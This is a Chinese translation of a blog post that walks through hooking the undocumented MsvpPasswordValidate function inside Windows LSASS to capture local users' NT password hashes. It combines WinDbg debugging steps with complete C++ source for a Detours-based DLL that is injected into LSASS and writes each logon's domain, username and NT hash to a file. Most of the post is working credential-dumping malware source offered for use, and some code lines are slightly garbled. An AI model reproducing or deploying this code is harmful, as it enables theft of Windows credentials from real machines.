这是我前段时间在 Gitbook 上发布的分析的转贴。MsvpPasswordValidate基本上,当您在 Windows 上以任何本地用户身份进行身份验证时,LSASS 通过NtlmShared.dll 导出的函数检查该用户的 NT 哈希与提供的密码的 NT 哈希。如果你钩住MsvpPasswordValidate你可以在不接触 SAM 的情况下提取这个散列。当然,要在 LSASS 中挂钩此功能,您需要管理员权限。从技术上讲,它也适用于至少登录过一次机器的域用户,但生成的哈希不是 NT 哈希,而是 MSCACHEv2 哈希。
为此,我启动了一个 Windows 10 20H2 虚拟机,将其设置为内核调试,并通过 WinDbg 在 MsvpPasswordValidate(NtlmShared.dll 库的一部分)开始时在 lsass.exe 中设置断点。但首先你必须使用以下命令找到 LSASS 的 _EPROCESS 地址:
代码语言:javascript复制!process 0 0 lsass.exe
找到_EPROCESS地址后,我们必须将 WinDbg 的上下文切换到目标进程(您的地址将不同):
.process /i /p /r ffff8c05c70bc080
请记住g在最后一个命令之后使用该命令以使切换真正发生。现在我们处于 LSASS 的上下文中,我们可以将用户模式符号加载到调试器中,因为我们处于内核调试中,然后在以下位置放置一个断点NtlmShared!MsvpPasswordValidate:
.reload /user
bp NtlmShared!MsvpPasswordValidatebl我们可以使用以下命令确保我们的断点已设置:

然而,在我们继续之前,我们需要知道要寻找什么。MsvpPasswordValidate是一个未记录的函数,这意味着我们不会在 MSDN 上找到它的定义。在 interwebz 上到处寻找,我设法在多个网站上找到它,所以这里是:
BOOLEAN __stdcall MsvpPasswordValidate (
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
PUSER_INTERNAL1_INFORMATION Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PLM_SESSION_KEY LmSessionKey
);我们正在寻找的是第四个参数。“密码”参数的类型是PUSER_INTERNAL1_INFORMATION。这是一个指向SAMPR_USER_INTERNAL1_INFORMATION结构的指针,它的第一个成员是我们正在寻找的 NT 哈希:
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
unsigned char NtPasswordPresent;
unsigned char LmPasswordPresent;
unsigned char PasswordExpired;
} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;由于MsvpPasswordValidate使用stdcall调用约定,我们知道 Passwords 参数将存储到 R9 寄存器中,因此我们可以通过取消引用该寄存器的内容来获得实际结构。有了这条信息,我们g再次在调试器中键入并尝试通过 runas 命令登录:

我们的虚拟机就在那里冻结了,因为我们遇到了我们之前设置的断点:

现在我们的 CPU 位于我们想要的位置,我们可以检查 R9 的内容:
代码语言:javascript复制db @r9
这绝对看起来像一个哈希!我们知道我们的测试用户使用“antani”作为密码,它的 NT 哈希是1AC1DBF66CA25FD4B5708E873E211F06,所以提取的值是正确的。
编写 DLL
现在我们已经验证了 FuzzySec 的提示,我们可以继续编写我们自己的密码转储实用程序。我们将编写一个自定义 DLL,它将挂钩MsvpPasswordValidate、提取哈希并将其写入磁盘。这个 DLL 将被称为 HppDLL,因为我将把它集成到一个我已经制作(并且我迟早会发布)的工具中,称为 HashPlusPlus(简称 HPP)。我们将使用 Microsoft Detours 来执行挂钩操作,在处理 LSASS 等关键进程时最好不要使用手动挂钩,因为崩溃将不可避免地导致重新启动。我不会详细介绍如何编译和设置 Detours,它非常简单,我将在 HppDLL 的存储库中包含一个已编译的 Detours 库。这里的想法是让 DLL 在执行流到达后立即劫持执行流MsvpPasswordValidate,跳转到我们将调用的流氓例程,该例程HookMSVPPValidate将负责提取凭据。完成后,HookMSVPPValidate将返回合法MsvpPasswordValidate并透明地为调用进程继续执行流程。复杂的?其实没有那么多。
Hppdll.h
我们首先编写头文件,所有代码段将包括:
代码语言:javascript复制#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN
// uncomment the following definition to enable debug logging to c:debug.txt
#define DEBUG_BUILD
#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"
// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif
// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
class Library
{
public:
Library(std::wstring input);
~Library();
HMODULE GetHandle();
private:
HMODULE _libraryHandle;
};
class Handle
{
public:
Handle(HANDLE input);
~Handle();
HANDLE GetHandle();
private:
HANDLE _handle;
};
}
//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();
// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;
// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
void* Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PVOID LmSessionKey
);此标头包括各种 Windows 标头,这些标头定义了MsvpPasswordValidate. 您可以看到我不得不稍微修改MsvpPasswordValidate函数定义,因为我找不到定义的头文件PUSER_INTERNAL1_INFORMATION,因此我们将其视为普通的 void 指针。我还定义了两个例程InstallHook和RemoveHook,它们将处理注入我们的钩子并在之后清理它。我还声明了一个RAII命名空间,它将包含RAII类,以确保库和其他东西的句柄一旦超出范围(耶 C )就会被正确关闭。我还定义了一个pMsvpPasswordValidate类型,我们将使用它GetProcAddress来正确解析然后调用MsvpPasswordValidate. 由于MsvpPasswordValidate指针需要是全局的,我们也将它外部化。
DLLMain.cpp
DllMain.cpp 文件包含DllMain函数的定义和声明,负责加载或卸载 DLL 时将执行的所有操作:
#include "pch.h"
#include "hppdll.h"
pMsvpPasswordValidate MsvpPasswordValidate = nullptr;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
return InstallHook();
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
return RemoveHook();
}
return TRUE;
}从上到下,我们包含pch.h以启用预编译头文件并加速编译,并hppdll.h包含我们之前定义的所有类型和函数。我们还设置nullptr了MsvpPasswordValidate函数指针,稍后将由InstallHook函数填充实际的地址MsvpPasswordValidate。您可以看到InstallHook在加载 DLL 时RemoveHook调用它,并在卸载 DLL 时调用它。
安装钩子.cpp
InstallHook 是负责实际注入我们的钩子的函数:
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
bool InstallHook()
{
DEBUG("InstallHook called!");
// get a handle on NtlmShared.dll
RAII::Library ntlmShared(L"NtlmShared.dll");
if (ntlmShared.GetHandle() == nullptr)
{
DEBUG("Couldn't get a handle to NtlmShared");
return false;
}
// get MsvpPasswordValidate address
MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
if (MsvpPasswordValidate == nullptr)
{
DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
return false;
}
DetourTransactionBegin();
DetourUpdateThread(::GetCurrentThread());
DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
LONG error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to hook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook installed successfully");
return true;
}
}它首先在第 9 行获取到 NtlmShared DLL 的句柄。在第 17 行,开头的地址MsvpPasswordValidate通过 using 解析GetProcAddress,将 NtlmShared 的句柄和包含函数名称的字符串传递给它。在第 24 到 27 行,Detours 发挥了它的魔力,并MsvpPasswordValidate用我们的流氓HookMSVPPValidate函数代替。如果钩子安装正确,则InstallHook返回 true。您可能已经注意到我使用DEBUG宏来打印调试信息。C:debug.txt如果DEBUG_BUILD宏定义在 中,则此宏使用条件编译写入hppdll.h,否则不执行任何操作。
HookMSVPPValidate.cpp
这是 DLL 中最重要的部分,即负责从内存中提取凭据的例程。
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
DEBUG("Hook called!");
// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;
// write to C:credentials.txt the domain, username and NT hash of the target user
std::wofstream credentialFile;
credentialFile.open("C:\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
std::wstring username;
// LogonIdentity->Username.Buffer contains more stuff than the username
// so we only get the username by iterating on it only Length/2 times
// (Length is expressed in bytes, unicode strings take two bytes per character)
for (int i = 0; i < logonIdentity->UserName.Length/2; i )
{
username = logonIdentity->UserName.Buffer[i];
}
credentialFile << L"Username: " << username << std::endl;
credentialFile << L"NTHash: ";
for (int i = 0; i < 16; i )
{
unsigned char hashByte = ((unsigned char*)Passwords)[i];
credentialFile << std::hex << hashByte;
}
credentialFile << std::endl;
credentialFile.close();
DEBUG("Hook successfully called!");
return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}我们希望我们的输出文件包含有关用户的信息(如用户名和机器名称)和他的 NT 哈希。为此,我们首先将第三个参数 ,LogonIdentity转换为指向NETLOGON_LOGON_IDENTITY_INFO结构的指针。从中我们提取logonIdentity->LogonDomainName.Buffer包含本地域的字段(因为它是本地帐户,所以机器主机名)。这发生在第 8 行。在第 13 行,我们将提取的本地域名写入输出文件,即C:credentials.txt. 作为旁注,LogonDomainName是一个UNICODE_STRING结构,定义如下:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;从第 19 行到第 22 行,我们迭代了很多logonIdentity->Username.Buffer次logonIdentity->Username.Length/2。我们必须这样做,而不是像处理域那样直接复制粘贴缓冲区的内容,因为这个缓冲区包含用户名和其他垃圾。该Length字段告诉我们用户名在哪里结束,垃圾从哪里开始。由于缓冲区包含 unicode 数据,它保存的每个字符实际上占用 2 个字节,因此我们需要对其进行一半的迭代。从第 25 行到第 29 行,我们继续复制Passwords结构保存的前 16 个字节(其中包含我们之前看到的实际 NT 哈希)并将它们写入输出文件。最后,我们继续调用实际MsvpPasswordValidate并在第 34 行返回其返回值,以便身份验证过程可以继续畅通无阻。
删除钩子.cpp
我们要看的最后一个函数是 RemoveHook 函数。
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
bool RemoveHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
auto error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to unhook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook removed!");
return true;
}
}这个功能也依赖于 Detours 魔法。如您所见,第 6 到 9 行与InstallHook注入钩子时调用的非常相似,唯一的区别是我们使用的是DetourDetach函数而不是函数DetourAttach。
试驾!
好的,现在一切准备就绪,我们可以继续编译 DLL 并将其注入 LSASS。对于快速原型设计,我使用 Process Hacker 进行注入。

有用!这次我尝试以用户“last”的身份进行身份验证,其密码是尴尬的“last”。您可以看到,即使为用户输入了错误的密码,真正的密码哈希也已写入C:credentials. 就是这样,这是一次愉快的旅程。您可以在我的 GitHub 上找到 HppDLL 的完整代码。


